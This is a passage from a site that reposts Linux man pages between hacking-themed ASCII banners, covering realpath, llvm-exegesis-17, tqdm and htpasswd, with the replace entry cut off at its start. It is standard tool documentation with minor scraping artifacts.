░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

677 - Linux cli command realpath

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command realpath and provides detailed information about the command realpath, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the realpath.

NAME 🖥️ realpath 🖥️

print the resolved path

SYNOPSIS

realpath [OPTION]… FILE

DESCRIPTION

Print the resolved absolute file name; all but the last component must exist

-e, –canonicalize-existing
all components of the path must exist

-m, –canonicalize-missing
no path components need exist or be a directory

-L, –logical
resolve ‘..’ components before symlinks

-P, –physical
resolve symlinks as encountered (default)

-q, –quiet
suppress most error messages

–relative-to=DIR
print the resolved path relative to DIR

–relative-base=DIR
print absolute paths unless paths below DIR

-s, –strip, –no-symlinks
don’t expand symlinks

-z, –zero
end each output line with NUL, not newline

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Padraig Brady.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

readlink(1), readlink(2), realpath(3)

Full documentation <https://www.gnu.org/software/coreutils/realpath>
or available locally via: info ‘(coreutils) realpath invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

678 - Linux cli command llvm-exegesis-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-exegesis-17 and provides detailed information about the command llvm-exegesis-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-exegesis-17.

NAME 🖥️ llvm-exegesis-17 🖥️

exegesis - LLVM Machine Instruction Benchmark

SYNOPSIS

llvm-exegesis [options]

DESCRIPTION

llvm-exegesis is a benchmarking tool that uses information available in LLVM to measure host machine instruction characteristics like latency, throughput, or port decomposition.

Given an LLVM opcode name and a benchmarking mode, llvm-exegesis generates a code snippet that makes execution as serial (resp. as parallel) as possible so that we can measure the latency (resp. inverse throughput/uop decomposition) of the instruction. The code snippet is jitted and, unless requested not to, executed on the host subtarget. The time taken (resp. resource usage) is measured using hardware performance counters. The result is printed out as YAML to the standard output.

The main goal of this tool is to automatically (in)validate the LLVM’s TableDef scheduling models. To that end, we also provide analysis of the results.

llvm-exegesis can also benchmark arbitrary user-provided code snippets.

SUPPORTED PLATFORMS

llvm-exegesis currently only supports X86 (64-bit only), ARM (AArch64 only), MIPS, and PowerPC (PowerPC64LE only) on Linux for benchmarking. Not all benchmarking functionality is guaranteed to work on every platform. llvm-exegesis also has a separate analysis mode that is supported on every platform on which LLVM is.

SNIPPET ANNOTATIONS

llvm-exegesis supports benchmarking arbitrary snippets of assembly. However, benchmarking these snippets often requires some setup so that they can execute properly. llvm-exegesis has two annotations and some additional utilities to help with setup so that snippets can be benchmarked properly.

  • LLVM-EXEGESIS-DEFREG <register name> - Adding this annotation to the text assembly snippet to be benchmarked marks the register as requiring a definition. A value will automatically be provided unless a second parameter, a hex value, is passed in. This is done with the LLVM-EXEGESIS-DEFREG <register name> <hex value> format. <hex value> is a bit pattern used to fill the register. If it is a value smaller than the register, it is sign extended to match the size of the register.

  • LLVM-EXEGESIS-LIVEIN <register name> - This annotation allows specifying registers that should keep their value upon starting the benchmark. Values can be passed through registers from the benchmarking setup in some cases. The registers and the values assigned to them that can be utilized in the benchmarking script with a LLVM-EXEGESIS-LIVEIN are as follows:

    • Scratch memory register - The specific register that this value is put in is platform dependent (e.g., it is the RDI register on X86 Linux). Setting this register as a live in ensures that a pointer to a block of memory (1MB) is placed within this register that can be used by the snippet.
  • LLVM-EXEGESIS-MEM-DEF <value name> <size> <value> - This annotation allows specifying memory definitions that can later be mapped into the execution process of a snippet with the LLVM-EXEGESIS-MEM-MAP annotation. Each value is named using the <value name> argument so that it can be referenced later within a map annotation. The size is specified in bytes the the value is taken in hexadecimal. If the size of the value is less than the specified size, the value will be repeated until it fills the entire section of memory. Using this annotation requires using the subprocess execution mode.

  • LLVM-EXEGESIS-MEM-MAP <value name> <address> - This annotation allows for mapping previously defined memory definitions into the execution context of a process. The value name refers to a previously defined memory definition and the address is a decimal number that specifies the address the memory definition should start at. Note that a single memory definition can be mapped multiple times. Using this annotation requires the subprocess execution mode.

EXAMPLE 1: BENCHMARKING INSTRUCTIONS

Assume you have an X86-64 machine. To measure the latency of a single instruction, run:

$ llvm-exegesis -mode=latency -opcode-name=ADD64rr

Measuring the uop decomposition or inverse throughput of an instruction works similarly:

$ llvm-exegesis -mode=uops -opcode-name=ADD64rr $ llvm-exegesis -mode=inverse_throughput -opcode-name=ADD64rr

The output is a YAML document (the default is to write to stdout, but you can redirect the output to a file using -benchmarks-file):


key:
  opcode_name:     ADD64rr
  mode:            latency
  config:          ''
cpu_name:        haswell
llvm_triple:     x86_64-unknown-linux-gnu
num_repetitions: 10000
measurements:
  - { key: latency, value: 1.0058, debug_string: '' }
error:           ''
info:            'explicit self cycles, selecting one aliasing configuration.
Snippet:
ADD64rr R8, R8, R10
'
...

To measure the latency of all instructions for the host architecture, run:

$ llvm-exegesis -mode=latency -opcode-index=-1

EXAMPLE 2: BENCHMARKING A CUSTOM CODE SNIPPET

To measure the latency/uops of a custom piece of code, you can specify the snippets-file option (- reads from standard input).

$ echo “vzeroupper” | llvm-exegesis -mode=uops -snippets-file=-

Real-life code snippets typically depend on registers or memory. llvm-exegesis checks the liveliness of registers (i.e. any register use has a corresponding def or is a “live in”). If your code depends on the value of some registers, you need to use snippet annotations to ensure setup is performed properly.

For example, the following code snippet depends on the values of XMM1 (which will be set by the tool) and the memory buffer passed in RDI (live in).

LLVM-EXEGESIS-LIVEIN RDI

# LLVM-EXEGESIS-DEFREG XMM1 42
vmulps        (%rdi), %xmm1, %xmm2
vhaddps       %xmm2, %xmm2, %xmm3
addq $0x10, %rdi

EXAMPLE 3: BENCHMARKING WITH MEMORY ANNOTATIONS

Some snippets require memory setup in specific places to execute without crashing. Setting up memory can be accomplished with the LLVM-EXEGESIS-MEM-DEF and LLVM-EXEGESIS-MEM-MAP annotations. To execute the following snippet:

movq $8192, %rax movq (%rax), %rdi

We need to have at least eight bytes of memory allocated starting 0x2000. We can create the necessary execution environment with the following annotations added to the snippet:

LLVM-EXEGESIS-MEM-DEF test1 4096 2147483647

# LLVM-EXEGESIS-MEM-MAP test1 8192

movq $8192, %rax
movq (%rax), %rdi

EXAMPLE 4: ANALYSIS

Assuming you have a set of benchmarked instructions (either latency or uops) as YAML in file /tmp/benchmarks.yaml, you can analyze the results using the following command:

$ llvm-exegesis -mode=analysis
-benchmarks-file=/tmp/benchmarks.yaml
-analysis-clusters-output-file=/tmp/clusters.csv
-analysis-inconsistencies-output-file=/tmp/inconsistencies.html

This will group the instructions into clusters with the same performance characteristics. The clusters will be written out to /tmp/clusters.csv in the following format:

cluster_id,opcode_name,config,sched_class … 2,ADD32ri8_DB,,WriteALU,1.00 2,ADD32ri_DB,,WriteALU,1.01 2,ADD32rr,,WriteALU,1.01 2,ADD32rr_DB,,WriteALU,1.00 2,ADD32rr_REV,,WriteALU,1.00 2,ADD64i32,,WriteALU,1.01 2,ADD64ri32,,WriteALU,1.01 2,MOVSX64rr32,,BSWAP32r_BSWAP64r_MOVSX64rr32,1.00 2,VPADDQYrr,,VPADDBYrr_VPADDDYrr_VPADDQYrr_VPADDWYrr_VPSUBBYrr_VPSUBDYrr_VPSUBQYrr_VPSUBWYrr,1.02 2,VPSUBQYrr,,VPADDBYrr_VPADDDYrr_VPADDQYrr_VPADDWYrr_VPSUBBYrr_VPSUBDYrr_VPSUBQYrr_VPSUBWYrr,1.01 2,ADD64ri8,,WriteALU,1.00 2,SETBr,,WriteSETCC,1.01 …

llvm-exegesis will also analyze the clusters to point out inconsistencies in the scheduling information. The output is an html file. For example, /tmp/inconsistencies.html will contain messages like the following : [image]

Note that the scheduling class names will be resolved only when llvm-exegesis is compiled in debug mode, else only the class id will be shown. This does not invalidate any of the analysis results though.

OPTIONS

-help
Print a summary of command line options.

-opcode-index=<LLVM opcode index>
Specify the opcode to measure, by index. Specifying -1 will result in measuring every existing opcode. See example 1 for details. Either opcode-index, opcode-name or snippets-file must be set.

-opcode-name=<opcode name 1>,<opcode name 2>,…
Specify the opcode to measure, by name. Several opcodes can be specified as a comma-separated list. See example 1 for details. Either opcode-index, opcode-name or snippets-file must be set.

-snippets-file=<filename>
Specify the custom code snippet to measure. See example 2 for details. Either opcode-index, opcode-name or snippets-file must be set.

-mode=[latency|uops|inverse_throughput|analysis]
Specify the run mode. Note that some modes have additional requirements and options.

latency mode can be make use of either RDTSC or LBR. latency[LBR] is only available on X86 (at least Skylake). To run in latency mode, a positive value must be specified for x86-lbr-sample-period and –repetition-mode=loop.

In analysis mode, you also need to specify at least one of the -analysis-clusters-output-file= and -analysis-inconsistencies-output-file=.

–benchmark-phase=[prepare-snippet|prepare-and-assemble-snippet|assemble-measured-code|measure]
By default, when -mode= is specified, the generated snippet will be executed and measured, and that requires that we are running on the hardware for which the snippet was generated, and that supports performance measurements. However, it is possible to stop at some stage before measuring. Choices are: * prepare-snippet: Only generate the minimal instruction sequence. * prepare-and-assemble-snippet: Same as prepare-snippet, but also dumps an excerpt of the sequence (hex encoded). * assemble-measured-code: Same as prepare-and-assemble-snippet. but also creates the full sequence that can be dumped to a file using –dump-object-to-disk. * measure: Same as assemble-measured-code, but also runs the measurement.

-x86-lbr-sample-period=<nBranches/sample>
Specify the LBR sampling period - how many branches before we take a sample. When a positive value is specified for this option and when the mode is latency, we will use LBRs for measuring. On choosing the “right” sampling period, a small value is preferred, but throttling could occur if the sampling is too frequent. A prime number should be used to avoid consistently skipping certain blocks.

-x86-disable-upper-sse-registers
Using the upper xmm registers (xmm8-xmm15) forces a longer instruction encoding which may put greater pressure on the frontend fetch and decode stages, potentially reducing the rate that instructions are dispatched to the backend, particularly on older hardware. Comparing baseline results with this mode enabled can help determine the effects of the frontend and can be used to improve latency and throughput estimates.

-repetition-mode=[duplicate|loop|min]
Specify the repetition mode. duplicate will create a large, straight line basic block with num-repetitions instructions (repeating the snippet num-repetitions/snippet size times). loop will, optionally, duplicate the snippet until the loop body contains at least loop-body-size instructions, and then wrap the result in a loop which will execute num-repetitions instructions (thus, again, repeating the snippet num-repetitions/snippet size times). The loop mode, especially with loop unrolling tends to better hide the effects of the CPU frontend on architectures that cache decoded instructions, but consumes a register for counting iterations. If performing an analysis over many opcodes, it may be best to instead use the min mode, which will run each other mode, and produce the minimal measured result.

-num-repetitions=<Number of repetitions>
Specify the target number of executed instructions. Note that the actual repetition count of the snippet will be num-repetitions/snippet size. Higher values lead to more accurate measurements but lengthen the benchmark.

-loop-body-size=<Preferred loop body size>
Only effective for -repetition-mode=[loop|min]. Instead of looping over the snippet directly, first duplicate it so that the loop body contains at least this many instructions. This potentially results in loop body being cached in the CPU Op Cache / Loop Cache, which allows to which may have higher throughput than the CPU decoders.

-max-configs-per-opcode=<value>
Specify the maximum configurations that can be generated for each opcode. By default this is 1, meaning that we assume that a single measurement is enough to characterize an opcode. This might not be true of all instructions: for example, the performance characteristics of the LEA instruction on X86 depends on the value of assigned registers and immediates. Setting a value of -max-configs-per-opcode larger than 1 allows llvm-exegesis to explore more configurations to discover if some register or immediate assignments lead to different performance characteristics.

-benchmarks-file=</path/to/file>
File to read (analysis mode) or write (latency/uops/inverse_throughput modes) benchmark results. “-” uses stdin/stdout.

-analysis-clusters-output-file=</path/to/file>
If provided, write the analysis clusters as CSV to this file. “-” prints to stdout. By default, this analysis is not run.

-analysis-inconsistencies-output-file=</path/to/file>
If non-empty, write inconsistencies found during analysis to this file. - prints to stdout. By default, this analysis is not run.

-analysis-filter=[all|reg-only|mem-only]
By default, all benchmark results are analysed, but sometimes it may be useful to only look at those that to not involve memory, or vice versa. This option allows to either keep all benchmarks, or filter out (ignore) either all the ones that do involve memory (involve instructions that may read or write to memory), or the opposite, to only keep such benchmarks.

-analysis-clustering=[dbscan,naive]
Specify the clustering algorithm to use. By default DBSCAN will be used. Naive clustering algorithm is better for doing further work on the -analysis-inconsistencies-output-file= output, it will create one cluster per opcode, and check that the cluster is stable (all points are neighbours).

-analysis-numpoints=<dbscan numPoints parameter>
Specify the numPoints parameters to be used for DBSCAN clustering (analysis mode, DBSCAN only).

-analysis-clustering-epsilon=<dbscan epsilon parameter>
Specify the epsilon parameter used for clustering of benchmark points (analysis mode).

-analysis-inconsistency-epsilon=<epsilon>
Specify the epsilon parameter used for detection of when the cluster is different from the LLVM schedule profile values (analysis mode).

-analysis-display-unstable-clusters
If there is more than one benchmark for an opcode, said benchmarks may end up not being clustered into the same cluster if the measured performance characteristics are different. by default all such opcodes are filtered out. This flag will instead show only such unstable opcodes.

-ignore-invalid-sched-class=false
If set, ignore instructions that do not have a sched class (class idx = 0).

-mtriple=<triple name>
Target triple. See -version for available targets.

-mcpu=<cpu name>
If set, measure the cpu characteristics using the counters for this CPU. This is useful when creating new sched models (the host CPU is unknown to LLVM). (-mcpu=help for details)

–analysis-override-benchmark-triple-and-cpu
By default, llvm-exegesis will analyze the benchmarks for the triple/CPU they were measured for, but if you want to analyze them for some other combination (specified via -mtriple/-mcpu), you can pass this flag.

–dump-object-to-disk=true
If set, llvm-exegesis will dump the generated code to a temporary file to enable code inspection. Disabled by default.

–use-dummy-perf-counters
If set, llvm-exegesis will not read any real performance counters and return a dummy value instead. This can be used to ensure a snippet doesn’t crash when hardware performance counters are unavailable and for debugging llvm-exegesis itself.

–execution-mode=[inprocess,subprocess]
This option specifies what execution mode to use. The inprocess execution mode is the default. The subprocess execution mode allows for additional features such as memory annotations but is currently restricted to X86-64 on Linux.

EXIT STATUS

llvm-exegesis returns 0 on success. Otherwise, an error message is printed to standard error, and the tool returns a non 0 value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

679 - Linux cli command tqdm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tqdm and provides detailed information about the command tqdm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tqdm.

NAME 🖥️ tqdm 🖥️

fast, extensible progress bar for Python and CLI

SYNOPSIS

tqdm [options]

DESCRIPTION

See <https://github.com/tqdm/tqdm>. Can be used as a pipe:

$ # count lines of code
$ cat *.py | tqdm | wc -l
327it [00:00, 981773.38it/s]
327

$ # find all files
$ find . -name "*.py" | tqdm | wc -l
432it [00:00, 833842.30it/s]
432

# ... and more info
$ find . -name '*.py' -exec wc -l \{} \; \
  | tqdm --total 432 --unit files --desc counting \
  | awk '{ sum += $1 }; END { print sum }'
counting: 100%|█████████| 432/432 [00:00<00:00, 794361.83files/s]
131998

OPTIONS

-h, –help
Print this help and exit.

-v, –version
Print version and exit.

–desc=desc
str, optional. Prefix for the progressbar.

–total=total
int or float, optional. The number of expected iterations. If unspecified, len(iterable) is used if possible. If float(“inf”) or as a last resort, only basic progress statistics are displayed (no ETA, no progressbar). If gui is True and this parameter needs subsequent updating, specify an initial arbitrary large positive number, e.g. 9e9.

–leave
bool, optional. If [default: True], keeps all traces of the progressbar upon termination of iteration. If None, will leave only if position is 0.

–ncols=ncols
int, optional. The width of the entire output message. If specified, dynamically resizes the progressbar to stay within this bound. If unspecified, attempts to use environment width. The fallback is a meter width of 10 and no limit for the counter and statistics. If 0, will not print any meter (only stats).

–mininterval=mininterval
float, optional. Minimum progress display update interval [default: 0.1] seconds.

–maxinterval=maxinterval
float, optional. Maximum progress display update interval [default: 10] seconds. Automatically adjusts miniters to correspond to mininterval after long display update lag. Only works if dynamic_miniters or monitor thread is enabled.

–miniters=miniters
int or float, optional. Minimum progress display update interval, in iterations. If 0 and dynamic_miniters, will automatically adjust to equal mininterval (more CPU efficient, good for tight loops). If > 0, will skip display of specified number of iterations. Tweak this and mininterval to get very efficient loops. If your progress is erratic with both fast and slow iterations (network, skipping items, etc) you should set miniters=1.

–ascii=ascii
bool or str, optional. If unspecified or False, use unicode (smooth blocks) to fill the meter. The fallback is to use ASCII characters " 123456789#".

–disable
bool, optional. Whether to disable the entire progressbar wrapper [default: False]. If set to None, disable on non-TTY.

–unit=unit
str, optional. String that will be used to define the unit of each iteration [default: it].

–unit-scale=unit_scale
bool or int or float, optional. If 1 or True, the number of iterations will be reduced/scaled automatically and a metric prefix following the International System of Units standard will be added (kilo, mega, etc.) [default: False]. If any other non-zero number, will scale total and n.

–dynamic-ncols
bool, optional. If set, constantly alters ncols and nrows to the environment (allowing for window resizes) [default: False].

–smoothing=smoothing
float, optional. Exponential moving average smoothing factor for speed estimates (ignored in GUI mode). Ranges from 0 (average speed) to 1 (current/instantaneous speed) [default: 0.3].

–bar-format=bar_format
str, optional. Specify a custom bar string formatting. May impact performance. [default: ‘{l_bar}{bar}{r_bar}’], where l_bar=’{desc}: {percentage:3.0f}%|’ and r_bar=’| {n_fmt}/{total_fmt} [{elapsed}<{remaining}, ’ ‘{rate_fmt}{postfix}]’ Possible vars: l_bar, bar, r_bar, n, n_fmt, total, total_fmt, percentage, elapsed, elapsed_s, ncols, nrows, desc, unit, rate, rate_fmt, rate_noinv, rate_noinv_fmt, rate_inv, rate_inv_fmt, postfix, unit_divisor, remaining, remaining_s, eta. Note that a trailing “: " is automatically removed after {desc} if the latter is empty.

–initial=initial
int or float, optional. The initial counter value. Useful when restarting a progress bar [default: 0]. If using float, consider specifying {n:.3f} or similar in bar_format, or specifying unit_scale.

–position=position
int, optional. Specify the line offset to print this bar (starting from 0) Automatic if unspecified. Useful to manage multiple bars at once (eg, from threads).

–postfix=postfix
dict or *, optional. Specify additional stats to display at the end of the bar. Calls set_postfix(**postfix) if possible (dict).

–unit-divisor=unit_divisor
float, optional. [default: 1000], ignored unless unit_scale is True.

–write-bytes
bool, optional. Whether to write bytes. If (default: False) will write unicode.

–lock-args=lock_args
tuple, optional. Passed to refresh for intermediate output (initialisation, iterating, and updating).

–nrows=nrows
int, optional. The screen height. If specified, hides nested bars outside this bound. If unspecified, attempts to use environment height. The fallback is 20.

–colour=colour
str, optional. Bar colour (e.g. ‘green’, ‘#00ff00’).

–delay=delay
float, optional. Don’t display until [default: 0] seconds have elapsed.

–delim=delim
chr, optional. Delimiting character [default: ' ‘]. Use ‘�’ for null. N.B.: on Windows systems, Python converts ' ’ to ’ ‘.

–buf-size=buf_size
int, optional. String buffer size in bytes [default: 256] used when delim is specified.

–bytes
bool, optional. If true, will count bytes, ignore delim, and default unit_scale to True, unit_divisor to 1024, and unit to ‘B’.

–tee
bool, optional. If true, passes stdin to both stderr and stdout.

–update
bool, optional. If true, will treat input as newly elapsed iterations, i.e. numbers to pass to update(). Note that this is slow (~2e5 it/s) since every input must be decoded as a number.

–update-to
bool, optional. If true, will treat input as total elapsed iterations, i.e. numbers to assign to self.n. Note that this is slow (~2e5 it/s) since every input must be decoded as a number.

–null
bool, optional. If true, will discard input (no stdout).

–manpath=manpath
str, optional. Directory in which to install tqdm man pages.

–comppath=comppath
str, optional. Directory in which to place tqdm completion.

–log=log
str, optional. CRITICAL|FATAL|ERROR|WARN(ING)|[default: ‘INFO’]|DEBUG|NOTSET.

AUTHORS

tqdm developers <https://github.com/tqdm>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

680 - Linux cli command htpasswd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command htpasswd and provides detailed information about the command htpasswd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the htpasswd.

\1

\1

NAME 🖥️ htpasswd 🖥️

Manage user files for basic authentication

SYNOPSIS

htpasswd [ -c ] [ -i ] [ -m | -B | -2 | -5 | -d | -s | -p ] [ -r rounds ] [ -C cost ] [ -D ] [ -v ] passwdfile username

htpasswd -b [ -c ] [ -m | -B | -2 | -5 | -d | -s | -p ] [ -r rounds ] [ -C cost ] [ -D ] [ -v ] passwdfile username password

htpasswd -n [ -i ] [ -m | -B | -2 | -5 | -d | -s | -p ] [ -r rounds ] [ -C cost ] username

htpasswd -nb [ -m | -B | -2 | -5 | -d | -s | -p ] [ -r rounds ] [ -C cost ] username password

SUMMARY

htpasswd is used to create and update the flat-files used to store usernames and password for basic authentication of HTTP users. If htpasswd cannot access a file, such as not being able to write to the output file or not being able to read the file in order to update it, it returns an error status and makes no changes.

Resources available from the Apache HTTP server can be restricted to just the users listed in the files created by htpasswd. This program can only manage usernames and passwords stored in a flat-file. It can hash and display password information for use in other types of data stores, though. To use a DBM database see dbmmanage or htdbm.

htpasswd hashes passwords using either bcrypt, a version of MD5 modified for Apache, SHA-1, or the system’s crypt() routine. SHA-2-based hashes (SHA-256 and SHA-512) are supported for crypt(). Files managed by htpasswd may contain a mixture of different encoding types of passwords; some user records may have bcrypt or MD5-hashed passwords while others in the same file may have passwords hashed with crypt().

This manual page only lists the command line arguments. For details of the directives necessary to configure user authentication in httpd see the Apache manual, which is part of the Apache distribution or can be found at http://httpd.apache.org/.

OPTIONS

-b
Use batch mode; i.e., get the password from the command line rather than prompting for it. This option should be used with extreme care, since the password is clearly visible on the command line. For script use see the -i option. Available in 2.4.4 and later.

-i
Read the password from stdin without verification (for script usage).

-c
Create the passwdfile. If passwdfile already exists, it is rewritten and truncated. This option cannot be combined with the -n option.

-n
Display the results on standard output rather than updating a file. This is useful for generating password records acceptable to Apache for inclusion in non-text data stores. This option changes the syntax of the command line, since the passwdfile argument (usually the first one) is omitted. It cannot be combined with the -c option.

-m
Use MD5 hashing for passwords. This is the default (since version 2.2.18).

-2
Use SHA-256 crypt() based hashes for passwords. This is supported on most Unix platforms.

-5
Use SHA-512 crypt() based hashes for passwords. This is supported on most Unix platforms.

-B
Use bcrypt hashing for passwords. This is currently considered to be very secure.

-C
This flag is only allowed in combination with -B (bcrypt hashing). It sets the computing time used for the bcrypt algorithm (higher is more secure but slower, default: 5, valid: 4 to 17).

-r
This flag is only allowed in combination with -2 or -5. It sets the number of hash rounds used for the SHA-2 algorithms (higher is more secure but slower; the default is 5,000).

-d
Use crypt() hashing for passwords. This is not supported by the httpd server on Windows and Netware. This algorithm limits the password length to 8 characters. This algorithm is insecure by today’s standards. It used to be the default algorithm until version 2.2.17.

-s
Use SHA-1 (160-bit) hashing for passwords. Facilitates migration from/to Netscape servers using the LDAP Directory Interchange Format (ldif). This algorithm is insecure by today’s standards.

-p
Use plaintext passwords. Though htpasswd will support creation on all platforms, the httpd daemon will only accept plain text passwords on Windows and Netware.

-D
Delete user. If the username exists in the specified htpasswd file, it will be deleted.

-v
Verify password. Verify that the given password matches the password of the user stored in the specified htpasswd file. Available in 2.4.5 and later.

passwdfile
Name of the file to contain the user name and password. If -c is given, this file is created if it does not already exist, or rewritten and truncated if it does exist.

username
The username to create or update in passwdfile. If username does not exist in this file, an entry is added. If it does exist, the password is changed.

password
The plaintext password to be hashed and stored in the file. Only used with the -b flag.

EXIT STATUS

htpasswd returns a zero status (“true”) if the username and password have been successfully added or updated in the passwdfile. htpasswd returns 1 if it encounters some problem accessing files, 2 if there was a syntax problem with the command line, 3 if the password was entered interactively and the verification entry didn’t match, 4 if its operation was interrupted, 5 if a value is too long (username, filename, password, or final computed record), 6 if the username contains illegal characters (see the Restrictions section), and 7 if the file is not a valid password file.

EXAMPLES

      htpasswd /usr/local/etc/apache/.htpasswd-users jsmith

Adds or modifies the password for user jsmith. The user is prompted for the password. The password will be hashed using the modified Apache MD5 algorithm. If the file does not exist, htpasswd will do nothing except return an error.

      htpasswd -c /home/doe/public_html/.htpasswd jane

Creates a new file and stores a record in it for user jane. The user is prompted for the password. If the file exists and cannot be read, or cannot be written, it is not altered and htpasswd will display a message and return an error status.

      htpasswd -db /usr/web/.htpasswd-all jones Pwd4Steve

Encrypts the password from the command line (Pwd4Steve) using the crypt() algorithm, and stores it in the specified file.

SECURITY CONSIDERATIONS

Web password files such as those managed by htpasswd should not be within the Web server’s URI space – that is, they should not be fetchable with a browser.

This program is not safe as a setuid executable. Do not make it setuid.

The use of the -b option is discouraged, since when it is used the plaintext password appears on the command line.

When using the crypt() algorithm, note that only the first 8 characters of the password are used to form the password. If the supplied password is longer, the extra characters will be silently discarded.

The SHA-1 hashing format does not use salting: for a given password, there is only one hashed representation. The crypt() and MD5 formats permute the representation by prepending a random salt string, to make dictionary attacks against the passwords more difficult.

The SHA-1 and crypt() formats are insecure by today’s standards.

The SHA-2-based crypt() formats (SHA-256 and SHA-512) are supported on most modern Unix systems, and follow the specification at https://www.akkadia.org/drepper/SHA-crypt.txt.

RESTRICTIONS

On the Windows platform, passwords hashed with htpasswd are limited to no more than 255 characters in length. Longer passwords will be truncated to 255 characters.

The MD5 algorithm used by htpasswd is specific to the Apache software; passwords hashed using it will not be usable with other Web servers.

Usernames are limited to 255 bytes and may not include the character :.

The cost of computing a bcrypt password hash value increases with the number of rounds specified by the -C option. The apr-util library enforces a maximum number of rounds of 17 in version 1.6.0 and later.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

681 - Linux cli command replace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command replace and provides detailed information about the command replace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the replace.

NAME 🖥️ replace 🖥️

a string-replacement utility

SYNOPSIS

replace arguments

DESCRIPTION

